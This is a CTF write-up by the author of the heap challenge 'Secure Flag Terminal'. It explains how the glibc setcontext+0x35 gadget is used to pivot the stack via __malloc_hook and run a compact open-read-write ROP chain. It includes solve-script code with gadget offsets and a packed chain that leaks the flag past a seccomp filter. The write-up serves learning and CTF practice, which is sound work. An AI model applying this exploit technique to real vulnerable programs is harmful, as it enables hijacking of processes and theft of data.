ROP-ing with setcontext
Introduction
While writing a heap pwn challenge for Sunshine CTF called “Secure Flag Terminal”, I wanted to make my challenge more difficult than a traditional House of Force exploit. So I wrote a whitelist seccomp filter and stored the flag’s fd on the heap (I randomized the fd to prevent easy cheesing); I did this to remove the use of one_gadgets, calling system, or a standard open/read/write chain that people might have prepared already. To solve the challenge, they basically needed to trigger a ROP chain through either __malloc_hook
or __free_hook
. I’ve never ROP-ed from the glibc hooks before, so I had to figure it out on the fly.
To write my solve script, I needed to find a suitable gadget, or chain of gadgets, to perform the following:
- Stack pivot
- Prepare args for my ROP chain
- Execute my ROP chain
The stack pivot gagdet is arguably the most important component here, and finding a good one can be challenging at times.
While searching, I found a very useful blog post by Midas. It essentially demonstrates the utility of the Setcontext API in GLIBC (specifically setcontext+0x35
) in performing the above requirements through a reliable open-read-write ROP chain that they wrote. Funnily enough, they recommend using it in the context of heap exploitation - nice pun right? My challenge utilizes a House of Force technique and tcache poisoning, so we have heap exploitation pretty well covered.
My Implementation
Using the setcontext+0x35
ROP gadget/chain, in my opinion, is almost equivalent to finding a one_gadget - especially if your intention isn’t spawning a shell. It allows you to set basically all of the registers besides rax
(unless you want to null it out).
The stack pivot is here:
mov rsp, qword [rdi + 0xa0]
, andRDI
is user-controlled!!
One thing I noticed in Midas’s PoC is that it doesn’t utilize all of the mov r*, qword ptr [rdi+0x*];
instructions. Rather, they used what they needed and then added the rest of the chain afterwards. I felt that was a bit wasteful and not applicable in cases where your input size is restricted (like my challenge). As a result, I wrote a ROP chain entirely encased within the slew of mov
instructions in this gadget:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
(...)
pop_rdi = 0x000000000002164f + libc.address # pop rdi; ret;
mov_rdi = 0x00000000000520c9 + libc.address # mov rdi, qword ptr [rdi + 0x68]; xor eax, eax; ret;
pop_rdx = 0x0000000000001b96 + libc.address # pop rdx; ret;
pop_rsi = 0x0000000000023a6a + libc.address # pop rsi; ret;
pop_rax = 0x000000000001b500 + libc.address # pop rax; ret;
syscall_ret = 0x00000000000d2625 + libc.address # syscall; ret;
# Call gadget for setcontext <-- hook malloc with this and do malloc(heap_ptr)
# setcontext will perform stack pivot to heap chunk
# Prime heap with rest of rop chain to perform read-write and win flag
chain = p64(libc.sym['setcontext'] + 0x35) # stack pivot + arg setup <-- [rdi] (chunk_ptr)
chain += p64(0) # read syscall value for rax <-- [rdi + 0x08]
chain += p64(mov_rdi) # dynamically determine fd from heap <-- [rdi + 0x10]
chain += p64(syscall_ret) # <-- [rdi + 0x18]
chain += p64(pop_rdi) # <-- [rdi + 0x20]
chain += p64(0x1) # stdout <-- [rdi + 0x28] = r8
chain += p64(pop_rsi) # <-- [rdi + 0x30] = r9
chain += p64(chunk_ptr + 0x400) # buffer addr <-- [rdi + 0x38]
chain += p64(pop_rdx) # <-- [rdi + 0x40]
chain += p64(0x24) # size to write <-- [rdi + 0x48] = r12
chain += p64(pop_rax) # <-- [rdi + 0x50] = r13
chain += p64(0x1) # sys_read <-- [rdi + 0x58] = r14
chain += p64(syscall_ret) # <-- [rdi + 0x60] = r15
chain += p64(fd - 0x68) # offsetted ptr for fd (see mov_rdi) <-- [rdi + 0x68] = rdi
chain += p64(chunk_ptr + 0x400) # buffer addr for sys_read <-- [rdi + 0x70] = rsi
chain += p64(0) * 2 # padding <-- [rdi + 0x78/0x80] = rbp/rbx
chain += p64(0x24) # size to read (setcontext ROP -> sys_read) <-- [rdi + 0x88] = rdx
chain += b'A' * 8 # padding <-- [rdi + 0x90]
chain += b'B' * 8 # padding <-- [rdi + 0x98] = rcx
chain += p64(chunk_ptr + 0x8) # heap buffer for stack pivot <-- [rdi + 0xa0] = rsp
chain += p64(pop_rax) # for push rcx, sets rax for sys_read <-- [rdi + 0xa8] = rcx
(...)
You can view the full exploit/solve script for my challenge here.
Now, I don’t think what I did is novel in any regard, but I’m quite proud of it and the fact that I was able to compress my ROP chain within the buffer required for setcontext+0x35
.